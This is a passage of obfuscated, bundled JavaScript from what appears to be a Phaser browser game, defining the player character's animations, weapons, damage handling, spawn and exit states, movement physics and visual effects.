'character1_fx/respawn' }, 'noAnimationName': 'character1_fx/none' })], 'applyActionOnSprite'(_0x469a2e) { _0x469a2e['setDepth'](_0x1cfa85['LAYER_DEPTHS']['PLAYER'] - 0.1), _0x469a2e['setAlpha'](0.75); } }), new _0x9f0cb1['AnimatedSpriteRenderComponent']({ 'animationName': ['character1_fx/dead', 'character1_fx/respawn', 'character1_fx/none', 'character1_fx/basic_attack1', 'character1_fx/basic_attack2', 'character1_fx/basic_attack3', 'character1_fx/dash_attack', 'character1_fx/basic_attack_downstrike', 'character1_fx/basic_attack_upstrike', 'character1_fx/basic_attack_upstrike_grounded', 'character1_fx/special_air_attack', 'character1_fx/special_air_charge_start', 'character1_fx/special_air_charge_loop', 'character1_fx/special_ground_charge_start', 'character1_fx/special_ground_charge_loop'], 'hideIfNotPlaying': !0x0, 'controllers': [new _0x21aad1['PlayerSpritesheetAnimationWeaponController']({ 'disabledOnBackend': !0x0, 'animationMap': { 'basicAttack1': 'character1_fx/basic_attack1', 'basicAttack2': 'character1_fx/basic_attack2', 'basicAttack3': 'character1_fx/basic_attack3', 'groundSpecialAttack1NoEffect': 'character1_fx/none', 'airSpecialAttack1NoEffect': 'character1_fx/none', 'groundSpecialAttack1ShortNoEffect': 'character1_fx/none', 'airSpecialAttack1ShortNoEffect': 'character1_fx/none', 'basicAttackDownstrike': 'character1_fx/basic_attack_downstrike', 'basicAttackDownstrikeNoEffect': 'character1_fx/none', 'basicAttackUpstrike': 'character1_fx/basic_attack_upstrike', 'basicAttackUpstrikeNoEffect': 'character1_fx/none', 'basicAttackUpstrikeGrounded': 'character1_fx/basic_attack_upstrike_grounded', 'basicAttackUpstrikeGroundedNoEffect': 'character1_fx/none', 'dashAttack': 'character1_fx/dash_attack' }, 'noAnimationName': 'character1_fx/none' }), new _0x30edc8['PlayerSpritesheetAnimationLifeController']({ 'disabledOnBackend': !0x0, 'appearanceMethod': _0x5ce1fa['appearanceMethod'], 'appearanceDurationMS': _0x5ce1fa['appearanceDurationMS'], 'animationMap': { 'dead': 'character1_fx/dead', 'respawn': 'character1_fx/respawn' }, 'noAnimationName': 'character1_fx/none' })], 'applyActionOnSprite'(_0x3c92b6) { _0x3c92b6['setDepth'](_0x1cfa85['LAYER_DEPTHS']['PLAYER'] - 0.1), _0x3c92b6['setBlendMode'](Phaser['BlendModes']['ADD']), _0x3c92b6['setAlpha'](0.75); } }), new _0x4407d6['PlayerActorStateComponent']({ 'appearanceMethod': _0x5ce1fa['appearanceMethod'], 'appearanceDurationMS': _0x5ce1fa['appearanceDurationMS'], 'disappearanceMethod': _0x5ce1fa['disappearanceMethod'], 'disappearanceDurationMS': _0x5ce1fa['disappearanceDurationMS'], 'spawnDirection': _0x4867fd['EDirections'][_0x5ce1fa['spawnDirection'] ?? _0x4867fd['EDirections']['RIGHT']], 'exitDirection': _0x4867fd['EDirections'][_0x5ce1fa['exitDirection'] ?? _0x4867fd['EDirections']['RIGHT']] }), _0x3ee137(_0x5ce1fa, _0x6b4d8c), new _0x5683bb['EffectRenderComponent']({ 'controllers': [new _0x188304['PlayerEffectController']({ 'disabledOnBackend': !0x0, 'groundTags': [_0x1af304['EActorTag']['GROUND'], _0x1af304['EActorTag']['ENEMY']] }), new _0x184fec['WeaponFireEffectController']({ 'firingPoints': _0x5ddad2 }), new _0x2e9680['WeaponChargeController']({ 'firingPoints': _0x5ddad2 })] }), new _0x63d171['WeaponManagementComponent']({ 'controllers': [new _0x54749a['PlayerWeaponPickupController'](), new _0x3efacc['PlayerWeaponManagementController']({ 'initialWeaponGroups': [{ 'groupName': 'ella/sword_dash', 'groupId': 'dash_attack', 'key': _0x3c88a2['EPlayerAction']['attack'] }, { 'groupName': 'ella/sword_melee', 'groupId': 'basic_attack', 'key': _0x3c88a2['EPlayerAction']['attack'] }] })] }), new _0x4a8a44['WeaponComponent']({ 'world': _0x5ce1fa['world'], 'firingPoints': _0x5ddad2, 'ammo': _0x1e74fe['playerState']['ammoState'], 'controllers': [new _0xc3321a['PlayerWeaponRestrictionController'](), new _0x1a7ac1['WeaponFireController']({ 'firingPoints': _0x5ddad2 }), new _0x292876['WeaponSoundController']({ 'disabledOnBackend': !0x0 })] }), new _0x197b01['DamageComponent']({ 'hp': _0x1e74fe['playerState']['currentHealth'], 'maxHp': _0x1e74fe['playerState']['maxHealth'], 'spawnInvulnerabilityTimeMS': 0x0, 'freezeDurationOnHit': 0x0, 'freezeDurationOnDestroy': 0x0, 'controllers': [new _0x57c72f['DamageSourceProjectileController']({ 'world': _0x5ce1fa['world'] }), new _0x20b85d['DamageSourceDamagingGroundController']({ 'world': _0x5ce1fa['world'] }), new _0x3a3e91['DamageSideEffectController']({ 'world': _0x5ce1fa['world'], 'flashOnHit': { 'color': '0x660000', 'durationMS': 0x12c, 'alpha': 0x1 }, 'screenShakeOnHit': { 'durationMS': 0x64, 'magnitudeX': 0.01, 'magnitudeY': 0.01 }, 'explosionOnDestroy': 'smoke/hit_red_multiple', 'explosionOnHit': 'smoke/hit_red' })] }), new _0x10ebea['PickupActionComponent'](), new _0x300e92['ActorDebugRenderComponent']({ 'firingPoints': _0x5ddad2 }), new _0xde5e7['PlayerSoundComponent'](), new _0x47aa6c['PlayerDamagingGroundTeleportComponent'](), new _0x38fdac['PlayerStatisticsComponent']()]; return _0x34197b && _0x4bda81['push'](new _0x7423e6['TutorialComponent']()), new _0x2e3b39['Actor']({ ..._0x5ce1fa, 'tags': [_0x1af304['EActorTag']['PLAYER']], 'name': 'Player', 'model': _0x53be21, 'useForVerification': !0x0, 'components': _0x4bda81 }); }; }, 0x21ac: (_0x54570b, _0xa80c75, _0x382458) => { 'use strict'; Object['defineProperty'](_0xa80c75, '__esModule', { 'value': !0x0 }), _0xa80c75['PlayerActorStateComponent'] = void 0x0; const _0x3c1a11 = _0x382458(0x2414), _0x338291 = _0x382458(0x1805), _0x491629 = _0x382458(0x256), _0x245766 = _0x382458(0xfe8); class _0x95bac8 extends _0x3c1a11['ActorComponent']{ constructor(_0x3e8b0d) { super(_0x3e8b0d); } ['init']() { switch (this['config']['appearanceMethod']) { case _0x338291['EPlayerAppearanceMethod']['NOTHING']: this['initAppearanceNothing'](); break; case _0x338291['EPlayerAppearanceMethod']['WALK']: this['initAppearanceWalkIn'](); break; case _0x338291['EPlayerAppearanceMethod']['TELEPORT']: this['initAppearanceTeleportIn'](); }this['store']['update']('lookDirection', this['config']['spawnDirection']), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => this['onMainObjectiveFinished']()), this['sceneMessageBus']['subscribe'](this, 'playerActorRequestsExit', () => this['maybeStartExit']()), this['store']['subscribe']('hp', ({ oldValue: _0x590f10, newValue: _0x320a88 }) => this['updateDamageTaken'](_0x590f10, _0x320a88)), this['setEnergyValue'](); } ['initAppearanceNothing']() { this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['PLAYER_CONTROL']), this['gameMessageBus']['publish']('requestRemoveIgnoreUserReason', 'START_OF_LEVEL'); } ['initAppearanceWalkIn']() { this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['WALKING_IN']), this['sceneMessageBus']['publish']('disableGroundColliders', [_0x245766['DEFAULT_ENTRYWAY_NAME'], _0x245766['DEFAULT_EXIT_NAME']]), this['store']['update']('spawnInvulnerabilityTimeLeftMS', this['config']['appearanceDurationMS']), this['store']['subscribe']('spawnInvulnerabilityTimeLeftMS', ({ oldValue: _0x185bce, newValue: _0xaa0515 }) => { _0x185bce !== _0xaa0515 && (_0xaa0515 > 0x0 || (this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['PLAYER_CONTROL']), this['gameMessageBus']['publish']('requestRemoveIgnoreUserReason', 'START_OF_LEVEL'), this['sceneMessageBus']['publish']('enableGroundColliders', [_0x245766['DEFAULT_ENTRYWAY_NAME'], _0x245766['DEFAULT_EXIT_NAME']]))); }); } ['initAppearanceTeleportIn']() { this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['TELEPORTING_IN']), this['store']['update']('spawnInvulnerabilityTimeLeftMS', this['config']['appearanceDurationMS'] + _0x491629['TELEPORT_IN_ANIMATION_DURATION_MS']), this['store']['subscribe']('spawnInvulnerabilityTimeLeftMS', ({ oldValue: _0x5d7c6b, newValue: _0x4fe804 }) => { _0x5d7c6b !== _0x4fe804 && (_0x4fe804 > 0x0 || (this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['PLAYER_CONTROL']), this['gameMessageBus']['publish']('requestRemoveIgnoreUserReason', 'START_OF_LEVEL'))); }); } ['maybeStartExit']() { const _0x1a1c71 = this['gameContext']['getFromGameStore']('runState'), _0x59b1be = _0x1a1c71['levelStates'][_0x1a1c71['currentLevelIndex']]?.['finished'], _0xbace03 = this['store']['get']('playerActorState') === _0x338291['EPlayerActorState']['PLAYER_CONTROL']; if (_0x59b1be && _0xbace03) switch (this['saveRoomAndPlayerProgress'](), this['config']['disappearanceMethod']) { case _0x338291['EPlayerAppearanceMethod']['NOTHING']: this['startExitNothing'](); break; case _0x338291['EPlayerAppearanceMethod']['WALK']: this['startExitWalkOut'](); break; case _0x338291['EPlayerAppearanceMethod']['TELEPORT']: this['startExitTeleportOut'](); } } ['startExitNothing']() { this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('roomExited'); }, this['config']['disappearanceDurationMS']); } ['startExitWalkOut']() { this['store']['update']('playerActorState', _0x338291['EPlayerActorState']['WALKING_OUT']), this['store']['update']('lookDirection', this['config']['exitDirection']), this['sceneMessageBus']['publish']('disableGroundColliders', [_0x245766['DEFAULT_ENTRYWAY_NAME'], _0x245766['DEFAULT_EXIT_NAME']]), this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('roomExited'); }, this['config']['disappearanceDurationMS']); } ['startExitTeleportOut']() { this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('roomExited'); }, this['config']['disappearanceDurationMS']); } ['saveRoomAndPlayerProgress']() { const _0x551865 = this['gameContext']['getFromGameStore']('runState'), _0x1d390f = _0x551865['levelStates'][_0x551865['currentLevelIndex']]; _0x1d390f['levelTimeMS'] = this['gameContext']['timeProvider']['currentEngineTime'], _0x551865['levelStates'][_0x551865['currentLevelIndex']] = _0x1d390f, _0x551865['playerState'] = { ..._0x551865['playerState'] }, _0x551865['playerState']['currentHealth'] = this['store']['get']('hp'); const _0x1f88a3 = this['store']['get']('ammo'); Object['values'](_0x1f88a3)['forEach'](_0x2ef7d6 => { _0x2ef7d6['current'] === 0x1 / 0x0 && (_0x2ef7d6['current'] = 0x0, _0x2ef7d6['max'] = 0x2); }), _0x551865['playerState']['ammoState'] = _0x1f88a3, this['gameContext']['updateGameStore']('runState', _0x551865, { 'forceUpdate': !0x0 }); } ['saveMainObjectiveFinishedProgress']() { const _0xaad214 = this['gameContext']['getFromGameStore']('runState'), _0x4dbd00 = _0xaad214['levelStates'][_0xaad214['currentLevelIndex']]; _0x4dbd00['mainObjectiveFinishedTimeMS'] = this['gameContext']['timeProvider']['currentEngineTime'], _0xaad214['levelStates'][_0xaad214['currentLevelIndex']] = _0x4dbd00, this['gameContext']['updateGameStore']('runState', _0xaad214, { 'forceUpdate': !0x0 }); } ['updateDamageTaken'](_0x119bb7, _0x16e452) { if (_0x119bb7 === _0x16e452 || _0x16e452 > _0x119bb7) return; if (isNaN(_0x119bb7) || isNaN(_0x16e452)) return; const _0x55c5c7 = { ...this['gameContext']['getFromGameStore']('runState') }, _0x159cee = { ..._0x55c5c7['levelStates'][_0x55c5c7['currentLevelIndex']] }, _0x1d7091 = _0x159cee['damageTaken'] + (_0x119bb7 - _0x16e452); _0x159cee['damageTaken'] = _0x1d7091, _0x55c5c7['levelStates'][_0x55c5c7['currentLevelIndex']] = _0x159cee, this['gameContext']['updateGameStore']('runState', _0x55c5c7), _0x16e452 > 0x0 || (this['saveRoomAndPlayerProgress'](), this['gameMessageBus']['publish']('playerDeadRequestTotalScoreCalculation')); } ['setEnergyValue']() { const _0x54c9da = { ...this['gameContext']['getFromGameStore']('runState') }, _0x29a1b0 = { ..._0x54c9da['levelStates'][_0x54c9da['currentLevelIndex']] }, _0x1ffc27 = { ..._0x29a1b0['inventory'] }; _0x1ffc27['energy'] || (_0x1ffc27['energy'] = 0x0), _0x29a1b0['inventory'] = _0x1ffc27, _0x54c9da['levelStates'][_0x54c9da['currentLevelIndex']] = _0x29a1b0, this['gameContext']['updateGameStore']('runState', _0x54c9da, { 'forceUpdate': !0x0 }); } ['onMainObjectiveFinished']() { const _0x3ca07f = this['gameContext']['getFromGameStore']('runState'), _0x4a78ff = _0x3ca07f['currentLevelIndex'] === _0x3ca07f['levelSequence']['length'] - 0x1; this['saveMainObjectiveFinishedProgress'](), _0x4a78ff ? (this['saveRoomAndPlayerProgress'](), this['gameMessageBus']['publish']('roomExited')) : this['sceneMessageBus']['publish']('showExit', void 0x0); } } _0xa80c75['PlayerActorStateComponent'] = _0x95bac8; }, 0x62e: (_0x4b0258, _0x26a422, _0x20ee13) => { 'use strict'; Object['defineProperty'](_0x26a422, '__esModule', { 'value': !0x0 }), _0x26a422['PlayerAirFrictionController'] = void 0x0; const _0x1e62d0 = _0x20ee13(0x1520); class _0x4993b1 extends _0x1e62d0['ComponentController']{ constructor(_0x42883b) { super(_0x42883b); } ['update'](_0x116e9c) { this['store']['get']('horizontalState')['includes']('JUMPPAD') || this['updateVelocityLimits'](_0x116e9c); } ['updateVelocityLimits'](_0x3d5cac) { const _0x2a1da6 = this['component']['body']['linvel'](); _0x2a1da6['x'] = isNaN(_0x2a1da6['x']) ? 0x0 : _0x2a1da6['x']; const _0x5af23b = this['config']['maxVelocity'] ?? 0x3e8, _0x4e6ef7 = this['config']['airFriction'] ?? 0x1, _0x484da1 = { 'x': _0x2a1da6['x'] * Math['pow'](_0x4e6ef7, 0x3e8 * _0x3d5cac), 'y': _0x2a1da6['y'] }, _0x1d746c = Math['sqrt'](_0x484da1['x'] ** 0x2 + _0x484da1['y'] ** 0x2); if (_0x1d746c > _0x5af23b) { const _0x371b01 = _0x5af23b / _0x1d746c; _0x484da1['x'] *= _0x371b01, _0x484da1['y'] *= _0x371b01; } this['component']['get']()['setLinvel'](_0x484da1, !0x0); } } _0x26a422['PlayerAirFrictionController'] = _0x4993b1; }, 0xccf: (_0x3f4533, _0x1782d, _0x2d4e8f) => { 'use strict'; Object['defineProperty'](_0x1782d, '__esModule', { 'value': !0x0 }), _0x1782d['PlayerAutomatedMovementController'] = void 0x0; const _0x5bd4d3 = _0x2d4e8f(0x1932), _0x5b1be7 = _0x2d4e8f(0x1520), _0x332734 = _0x2d4e8f(0x1805), _0x527ac8 = _0x2d4e8f(0x110d), _0x4260f4 = _0x2d4e8f(0xb35), _0x2be493 = _0x2d4e8f(0x18e5), _0x34190b = [_0x332734['EPlayerActorState']['WALKING_IN'], _0x332734['EPlayerActorState']['WALKING_OUT']]; class _0x45bc04 extends _0x5b1be7['ComponentController']{ constructor(_0xf188e2) { super(_0xf188e2); } ['init']() { this['store']['subscribe']('playerActorState', ({ oldValue: _0x1d837d, newValue: _0x2925e5 }) => this['onPlayerActorStateChange'](_0x1d837d, _0x2925e5)); } ['update'](_0x560e69) { switch (this['store']['get']('playerActorState')) { case _0x332734['EPlayerActorState']['WALKING_OUT']: case _0x332734['EPlayerActorState']['WALKING_IN']: this['maybePerformHorizontalMovement'](new _0x2be493['Vector'](_0x527ac8['MAX_X_MOVEMENT_SPEED'], 0x0), _0x560e69); } } ['onPlayerActorStateChange'](_0x8adf9d, _0x2d1789) { _0x34190b['includes'](_0x2d1789) ? this['store']['update']('horizontalState', 'MOVEMENT') : _0x34190b['includes'](_0x2d1789) || !_0x34190b['includes'](_0x8adf9d) || this['store']['update']('horizontalState', 'IDLE'); } ['maybePerformHorizontalMovement'](_0x40c9a5, _0x4aac3d) { const _0x4e9cf9 = _0x4260f4['PhysicsConfig']['COLLISION_GROUPS']['GROUND'], _0x71481c = this['store']['get']('sensorCollisionState')[_0x5bd4d3['ESensorName']['LEFT']], _0x20ae32 = this['store']['get']('sensorCollisionState')[_0x5bd4d3['ESensorName']['RIGHT']], _0x267917 = _0x40c9a5['x'] < 0x0, _0x2303c4 = _0x40c9a5['x'] > 0x0; _0x71481c && _0x267917 && (_0x40c9a5['x'] = 0x0), _0x20ae32 && _0x2303c4 && (_0x40c9a5['x'] = 0x0), _0x40c9a5 = (0x0, _0x2be493['scale'])(_0x40c9a5, _0x4aac3d); const _0x16a45b = this['component']['get']()['collider'](0x0); this['config']['characterController']['computeColliderMovement'](_0x16a45b, _0x40c9a5, void 0x0, _0x4e9cf9); const _0x38b596 = this['config']['characterController']['computedMovement'](), _0x1fc6c0 = this['component']['get']()['translation'](), _0x5c3c0a = (0x0, _0x2be493['add'])(_0x1fc6c0, _0x38b596); this['component']['get']()['setTranslation'](_0x5c3c0a, !0x0); } } _0x1782d['PlayerAutomatedMovementController'] = _0x45bc04; }, 0xe98: (_0x2eaaf3, _0x5d3252, _0x43a430) => { 'use strict'; Object['defineProperty'](_0x5d3252, '__esModule', { 'value': !0x0 }), _0x5d3252['PlayerDamagingGroundTeleportComponent'] = void 0x0; const _0x19bdd1 = _0x43a430(0x2414), _0x5e94a2 = _0x43a430(0x1932), _0x21cd9a = _0x43a430(0x1832); class _0x3af9cf extends _0x19bdd1['ActorComponent']{ ['init']() { this['messageBus']['subscribe'](this, 'teleportToLastValidAreaSensor', () => this['maybeTeleportToLastAreaSensor']()); } ['update'](_0xed98) { this['maybeUpdateLastAreaSensor'](); } ['maybeUpdateLastAreaSensor']() { const _0x39deff = (this['store']['get']('sensorCollisionState')[_0x5e94a2['ESensorName']['CENTER']] || [])['find'](_0x394d83 => { const _0x583350 = _0x394d83['parent'](); if (!_0x583350) return !0x1; const _0x406bbc = _0x583350['userData']['actor'], _0x9aaa3 = _0x406bbc['getTags']()['includes'](_0x21cd9a['EActorTag']['MAP_AREA_SENSOR']), _0x2da779 = _0x406bbc['getConfig']()['isTeleportTarget']; return _0x9aaa3 && _0x2da779; }); if (!_0x39deff) return; const _0x448d1e = _0x39deff['parent']()?.['userData']['actor']; this['store']['update']('lastAreaSensor', _0x448d1e); } ['maybeTeleportToLastAreaSensor']() { const _0x5c474e = this['store']['get']('lastAreaSensor'); if (!_0x5c474e) return; const _0x43e297 = _0x5c474e['getFromStore']('physicsPosition'), _0x2189ca = _0x5c474e['getFromStore']('renderPosition'); this['messageBus']['publish']('requestTeleport', { 'destination': _0x43e297 }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport', 'position': this['store']['get']('renderPosition') }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport', 'position': _0x2189ca }); } } _0x5d3252['PlayerDamagingGroundTeleportComponent'] = _0x3af9cf; }, 0x1648: (_0x36aed5, _0x57c310, _0xb1b302) => { 'use strict'; Object['defineProperty'](_0x57c310, '__esModule', { 'value': !0x0 }), _0x57c310['PlayerEffectController'] = void 0x0; const _0xc093f2 = _0xb1b302(0x1520), _0x52e06e = _0xb1b302(0xd2e), _0x2cc865 = _0xb1b302(0x18e5), _0x3d53a6 = _0xb1b302(0x17e), _0x45a708 = _0xb1b302(0x16d0); class _0x2f83b6 extends _0xc093f2['ComponentController']{ ['handleTrailEffect60hzCapped'] = (0x0, _0x45a708['limitTo60Hz'])(this['handleTrailEffect']['bind'](this));['lastDashTrailEffectTimeMS'] = 0x0; constructor(_0x1f3008) { super(_0x1f3008); } ['init']() { this['setupEvents'](); } ['update'](_0x55e3f4) { this['handleTrailEffect60hzCapped'](_0x55e3f4); } ['setupEvents']() { this['handleJumpEffect'](), this['handleLandingEffects'](), this['handleWalkingEffects'](); } ['createDirectionalEffectConfig'](_0x49f8fc, _0xa3792b = !0x1) { const _0x5b6f7e = (0x0, _0x52e06e['isFacingLeft'])(this['store']['get']('lookDirection')); let _0x48d6c4 = this['gameContext']['getAnimationConfig'](_0x49f8fc)['offsetRotation']; _0x48d6c4 && (_0x48d6c4 *= _0x5b6f7e ? -0x1 : 0x1); const _0x2b4812 = this['gameContext']['getAnimationConfig'](_0x49f8fc)['swapX'], _0x336f21 = _0x5b6f7e ? !_0xa3792b : !!_0xa3792b; return { ...this['gameContext']['getAnimationConfig'](_0x49f8fc), 'swapX': _0x2b4812 ? !_0x336f21 : _0x336f21, 'followActorPosition': !0x1, 'offsetRotation': _0x48d6c4, 'direction': 0x0 }; } ['handleJumpEffect']() { this['store']['subscribe']('verticalState', _0x2bb526 => { const _0x2d1944 = this['store']['get']('renderPosition'); 'JUMP_BEGINS' === _0x2bb526['newValue'] && (this['store']['get']('isGrounded') ? this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('effect/jump_smoke')) : (this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('impact/impact10blueLargeInverted')), this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('impact/impact10whiteInverted')), this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('fading_light/medium_blue_short')), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'movement_effect/blue_jump', 'position': new _0x2cc865['Vector'](_0x2d1944['x'], _0x2d1944['y']) }))); }); } ['handleTrailEffect']() { if (!['DASH', 'JUMPPAD_JUMP']['includes'](this['store']['get']('horizontalState'))) return; const _0x416f50 = this['store']['get']('renderPosition'); this['gameContext']['timeProvider']['currentRenderTime'] - this['lastDashTrailEffectTimeMS'] < 33.333333333333336 || (this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('fading_light/medium_blue_short')), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'movement_effect/blue_dash', 'position': new _0x2cc865['Vector'](_0x416f50['x'], _0x416f50['y']) }), this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('dash_trail/dash_normal')), this['store']['get']('isGrounded') && this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('effect/smoke_small_side')), this['lastDashTrailEffectTimeMS'] = this['gameContext']['timeProvider']['currentRenderTime']); } ['handleWalkingEffects']() { this['messageBus']['subscribe'](this, 'spineEvent', _0x50e068 => { if ('Footstep' === _0x50e068['data']['name']) { if (!this['store']['get']('isGrounded')) return; this['component']['createSpriteEffect'](this['createDirectionalEffectConfig']('effect/smoke_small_side')); } }); } ['handleLandingEffects']() { this['store']['subscribe']('sensorCollisionState', _0x2d55eb => { if (!_0x2d55eb['oldValue']) return; const _0x596fa1 = (0x0, _0x3d53a6['isGrounded'])(_0x2d55eb['oldValue'], this['config']['groundTags']), _0x50ecc9 = (0x0, _0x3d53a6['isGrounded'])(_0x2d55eb['newValue'], this['config']['groundTags']), _0x5c6afd = Math['abs'](this['store']['get']('currentPerceivedSpeed')['y']); _0x5c6afd > 0x28 && !_0x596fa1 && _0x50ecc9 && this['component']['createSpriteEffect']({ ...this['gameContext']['getAnimationConfig']('effect/landing_smoke'), 'followActorPosition': !0x1, 'scale': 0x1 + 0.025 * _0x5c6afd, 'direction': 0x0 }); }); } } _0x57c310['PlayerEffectController'] = _0x2f83b6; }, 0x1805: (_0x3cf79d, _0x505d21) => { 'use strict'; var _0x3c8827; Object['defineProperty'](_0x505d21, '__esModule', { 'value': !0x0 }), _0x505d21['playerActorModel'] = _0x505d21['EPlayerActorState'] = _0x505d21['EPlayerAppearanceMethod'] = void 0x0, function (_0x5b00fc) { _0x5b00fc['NOTHING'] = 'NOTHING', _0x5b00fc['TELEPORT'] = 'TELEPORT', _0x5b00fc['WALK'] = 'WALK'; }(_0x505d21['EPlayerAppearanceMethod'] || (_0x505d21['EPlayerAppearanceMethod'] = {})), function (_0x29ee98) { _0x29ee98['OUTSIDE'] = 'OUTSIDE', _0x29ee98['WALKING_IN'] = 'WALKING_IN', _0x29ee98['TELEPORTING_IN'] = 'TELEPORTING_IN', _0x29ee98['PLAYER_CONTROL'] = 'PLAYER_CONTROL', _0x29ee98['WALKING_OUT'] = 'WALKING_OUT', _0x29ee98['TELEPORTING_OUT'] = 'TELEPORTING_OUT'; }(_0x3c8827 = _0x505d21['EPlayerActorState'] || (_0x505d21['EPlayerActorState'] = {})), _0x505d21['playerActorModel'] = { 'lastAreaSensor': null, 'playerActorState': _0x3c8827['OUTSIDE'] }; }, 0xd48: function (_0x3a6ebb, _0x5b4073, _0x534ccb) { 'use strict'; var _0x51f9f2 = this && this['__importDefault'] || function (_0x2cf006) { return _0x2cf006 && _0x2cf006['__esModule'] ? _0x2cf006 : { 'default': _0x2cf006 }; }; Object['defineProperty'](_0x5b4073, '__esModule', { 'value': !0x0 }), _0x5b4073['PlayerMovementController'] = void 0x0; const _0x279a63 = _0x51f9f2(_0x534ccb(0x9a8)), _0xbc4143 = _0x534ccb(0x1520), _0x1216dd = _0x534ccb(0x18e5), _0x172356 = _0x534ccb(0xb35), _0x40f25c = _0x534ccb(0x39f), _0x2dd6de = _0x534ccb(0xd2e), _0x6a031 = _0x534ccb(0x1932), _0x1055f0 = _0x51f9f2(_0x534ccb(0x1b39)), _0x2daa88 = _0x534ccb(0x17e), _0x4b760e = _0x534ccb(0x1805), _0x5d289d = _0x534ccb(0x110d), _0x2af50c = [{ 'condition': (_0x28569b, _0xf5b44) => _0x28569b['up'] && _0x28569b['right'], 'result': _0x2dd6de['EDirections']['UP_RIGHT'] }, { 'condition': (_0x3a0f7f, _0x21893a) => _0x3a0f7f['up'] && _0x3a0f7f['left'], 'result': _0x2dd6de['EDirections']['UP_LEFT'] }, { 'condition': (_0x2aa63b, _0x55b41f) => _0x2aa63b['down'] && _0x2aa63b['right'], 'result': _0x2dd6de['EDirections']['DOWN_RIGHT'] }, { 'condition': (_0x3bdd5b, _0x40eddf) => _0x3bdd5b['down'] && _0x3bdd5b['left'], 'result': _0x2dd6de['EDirections']['DOWN_LEFT'] }, { 'condition': (_0x38575d, _0x3c4f6a) => _0x38575d['right'], 'result': _0x2dd6de['EDirections']['RIGHT'] }, { 'condition': (_0x5d3492, _0x135cb2) => _0x5d3492['left'], 'result': _0x2dd6de['EDirections']['LEFT'] }, { 'condition': (_0x5ea3bf, _0xc76fcb) => _0x5ea3bf['up'] && !_0xc76fcb, 'result': _0x2dd6de['EDirections']['UP_RIGHT'] }, { 'condition': (_0x311ea7, _0x55fb80) => _0x311ea7['up'] && _0x55fb80, 'result': _0x2dd6de['EDirections']['UP_LEFT'] }, { 'condition': (_0x459759, _0x29c619) => _0x459759['down'] && !_0x29c619, 'result': _0x2dd6de['EDirections']['DOWN_RIGHT'] }, { 'condition': (_0x95ae0d, _0x2997c4) => _0x95ae0d['down'] && _0x2997c4, 'result': _0x2dd6de['EDirections']['DOWN_LEFT'] }, { 'condition': (_0x63bd0a, _0x562d14) => _0x562d14, 'result': _0x2dd6de['EDirections']['LEFT'] }, { 'condition': (_0x48ff20, _0x5378f3) => !_0x5378f3, 'result': _0x2dd6de['EDirections']['RIGHT'] }]; _0x40f25c['log']['disableContext']('movementController'); class _0x5a75fc extends _0xbc4143['ComponentController']{ constructor(_0x10bc63) { super(_0x10bc63); } ['init']() { this['gameMessageBus']['subscribe'](this, 'actionStateUpdate', _0x9c9eda => { this['store']['update']('actionControlsState', _0x9c9eda); }), this['store']['subscribe']('appliedRecoilOnHit', _0x54c1ad => { this['handleRecoil'](_0x54c1ad['newValue']); }), this['store']['subscribe']('sensorCollisionState', ({ oldValue: _0x7e7204, newValue: _0x42fb7c }) => { _0x7e7204 && (this['maybeCauseFallDamage'](_0x7e7204, _0x42fb7c), this['maybeInitiateJumppadJump'](_0x42fb7c)); }), this['messageBus']['subscribe'](this, 'requestTeleport', () => this['resetMovement']()), this['messageBus']['subscribe'](this, 'appliedExternalSourceImpulse', () => this['maybeCancelJumpDueToExternalImpulse']()), this['store']['update']('maxJumpCount', this['config']['maxJumpCount']), this['store']['update']('maxDashCount', this['config']['maxDashCount']); } ['update'](_0xe59e94) { this['store']['get']('hp') <= 0x0 || this['store']['get']('stunTimeMS') > 0x0 || this['store']['get']('playerActorState') === _0x4b760e['EPlayerActorState']['PLAYER_CONTROL'] && (this['updateLookDirection'](), this['updateHorizontalMovement'](_0xe59e94), this['updateVerticalMovement'](_0xe59e94)); } ['updateLookDirection']() { this['store']['get']('rotationLockoutLeftMS') > 0x0 || (this['store']['get']('horizontalState')['includes']('JUMPPAD') ? this['updateLookDirectionBasedOnVelocity'](this['component']['get']()['linvel']()) : this['updateLookDirectionBasedOnActionState'](this['store']['get']('actionControlsState'))); } ['updateLookDirectionBasedOnActionState'](_0x1afc68) { if (this['store']['get']('horizontalState')['includes']('DASH')) return; const _0x5a0247 = (0x0, _0x2dd6de['isFacingLeft'])(this['store']['get']('lookDirection')), _0x4c973b = { 'up': !0x1, 'down': !0x1, 'right': !0x1, 'left': !0x1 }; _0x1afc68['up'] && (_0x4c973b['up'] = !0x0), _0x1afc68['down'] && (_0x4c973b['down'] = !0x0), _0x1afc68['right'] && !_0x1afc68['left'] ? _0x4c973b['right'] = !0x0 : _0x1afc68['left'] && !_0x1afc68['right'] && (_0x4c973b['left'] = !0x0); const _0x1a72b2 = this['getLookDirection'](_0x4c973b, _0x5a0247); _0x1a72b2 && this['store']['update']('lookDirection', _0x1a72b2); } ['updateLookDirectionBasedOnVelocity'](_0x25171e) { const _0x21d817 = (0x0, _0x2dd6de['isFacingLeft'])(this['store']['get']('lookDirection')), _0x2d78db = { 'up': !0x1, 'down': !0x1, 'right': !0x1, 'left': !0x1 }; _0x25171e['x'] > _0x5d289d['VELOCITY_THRESHOLD'] && (_0x2d78db['right'] = !0x0), _0x25171e['x'] < -_0x5d289d['VELOCITY_THRESHOLD'] && (_0x2d78db['left'] = !0x0); const _0x48ab00 = this['getLookDirection'](_0x2d78db, _0x21d817); _0x48ab00 && 